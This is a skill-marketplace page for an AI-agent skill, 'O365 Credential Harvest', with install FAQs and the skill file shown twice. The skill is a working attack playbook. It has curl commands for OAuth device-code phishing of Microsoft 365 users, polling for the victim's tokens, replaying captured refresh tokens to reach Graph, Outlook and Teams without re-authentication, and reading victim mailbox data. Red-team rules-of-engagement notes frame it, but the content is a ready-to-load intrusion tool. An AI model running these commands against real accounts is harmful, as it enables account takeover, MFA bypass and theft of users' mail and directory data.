How do I install the O365 Credential Harvest skill?

Run npx skillmds@latest add purpleailab/o365-credential-harvest in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

Is O365 Credential Harvest safe to use?

This skill has not completed SkillMD's automated safety review yet. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with O365 Credential Harvest?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is O365 Credential Harvest free to use?

Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.

Who published O365 Credential Harvest?

purpleailab (@purpleailab) published this skill. Their other Agent Skills are listed on their SkillMD profile.

O365 Credential Harvest by purpleailab

Name: O365 Credential Harvest
Author: purpleailab

File contents

O365 / Entra Credential & Token Harvest

Two Microsoft-identity initial-access paths that avoid a fake password page: the device-code flow and token replay. Both are favored because the victim authenticates on the genuine Microsoft endpoint.

Device-code flow

The attacker requests a device code; the victim is social-engineered to enter it at the real microsoft.com/devicelogin. After they complete sign-in (MFA included), the attacker polls and receives access + refresh tokens.

TENANT=common
CLIENT=d3590ed6-52b3-4102-aeff-aad2292ab01c   # Office client id (example)
# 1. request a device code
curl -s https://login.microsoftonline.com/$TENANT/oauth2/v2.0/devicecode \
  -d "client_id=$CLIENT&scope=https://graph.microsoft.com/.default offline_access" | tee dc.json
# -> user_code + verification_uri go into the lure ("enter this code at ...")
# 2. poll for the token after the victim signs in
DC=$(jq -r .device_code dc.json)
curl -s https://login.microsoftonline.com/$TENANT/oauth2/v2.0/token \
  -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=$CLIENT&device_code=$DC"

Token replay (TokenTactics pattern)

A refresh token captured here (or via evilginx2-proxy) is exchanged for access tokens against Graph, Outlook, SharePoint, Teams — each a distinct resource scope — without re-auth.

RT=<captured-refresh-token>
curl -s https://login.microsoftonline.com/common/oauth2/v2.0/token \
  -d "grant_type=refresh_token&client_id=$CLIENT&refresh_token=$RT&scope=https://graph.microsoft.com/.default"
# use the returned access_token: Authorization: Bearer <token> against graph.microsoft.com

Validate

A token is interesting; a Graph call returning the victim's mailbox / directory data is the finding: curl -s -H "Authorization: Bearer $AT" https://graph.microsoft.com/v1.0/me.

Evidence

Tokens → Credential nodes (type oauth-token, with scope + expiry) linked to the User node. Store ONLY under evidence/phisher/ + the knowledge graph.

RoE / OPSEC

Device-code lures still require the lure-deconfliction handshake.
Refresh tokens are long-lived — record the expiry and treat them as the most sensitive artifact in the engagement.
NEVER read more mailbox/Graph data than the objective requires; abide by plan/roe.json:data_handling.

---name: o365-credential-harvestdescription: Harvest and replay O365 / Entra ID access via the OAuth device-code flow and captured tokens (TokenTactics-style), skipping the password + MFA prompts.---# O365 / Entra Credential & Token HarvestTwo Microsoft-identity initial-access paths that avoid a fake passwordpage: the **device-code** flow and **token replay**. Both are favoredbecause the victim authenticates on the genuine Microsoft endpoint.## Device-code flowThe attacker requests a device code; the victim is social-engineeredto enter it at the real `microsoft.com/devicelogin`. After theycomplete sign-in (MFA included), the attacker polls and receivesaccess + refresh tokens.```bashTENANT=commonCLIENT=d3590ed6-52b3-4102-aeff-aad2292ab01c # Office client id (example)# 1. request a device codecurl -s https://login.microsoftonline.com/$TENANT/oauth2/v2.0/devicecode \ -d "client_id=$CLIENT&scope=https://graph.microsoft.com/.default offline_access" | tee dc.json# -> user_code + verification_uri go into the lure ("enter this code at ...")# 2. poll for the token after the victim signs inDC=$(jq -r .device_code dc.json)curl -s https://login.microsoftonline.com/$TENANT/oauth2/v2.0/token \ -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=$CLIENT&device_code=$DC"```## Token replay (TokenTactics pattern)A refresh token captured here (or via `evilginx2-proxy`) is exchangedfor access tokens against Graph, Outlook, SharePoint, Teams — each adistinct resource scope — without re-auth.```bashRT=<captured-refresh-token>curl -s https://login.microsoftonline.com/common/oauth2/v2.0/token \ -d "grant_type=refresh_token&client_id=$CLIENT&refresh_token=$RT&scope=https://graph.microsoft.com/.default"# use the returned access_token: Authorization: Bearer <token> against graph.microsoft.com```## ValidateA token is interesting; a Graph call returning the victim's mailbox /directory data is the finding:`curl -s -H "Authorization: Bearer $AT" https://graph.microsoft.com/v1.0/me`.## EvidenceTokens → `Credential` nodes (type `oauth-token`, with scope + expiry)linked to the `User` node. Store ONLY under `evidence/phisher/` + theknowledge graph.## RoE / OPSEC- Device-code lures still require the `lure-deconfliction` handshake.- Refresh tokens are long-lived — record the expiry and treat them as the most sensitive artifact in the engagement.- NEVER read more mailbox/Graph data than the objective requires; abide by `plan/roe.json:data_handling`.

Frequently asked questions

O365 Credential Harvest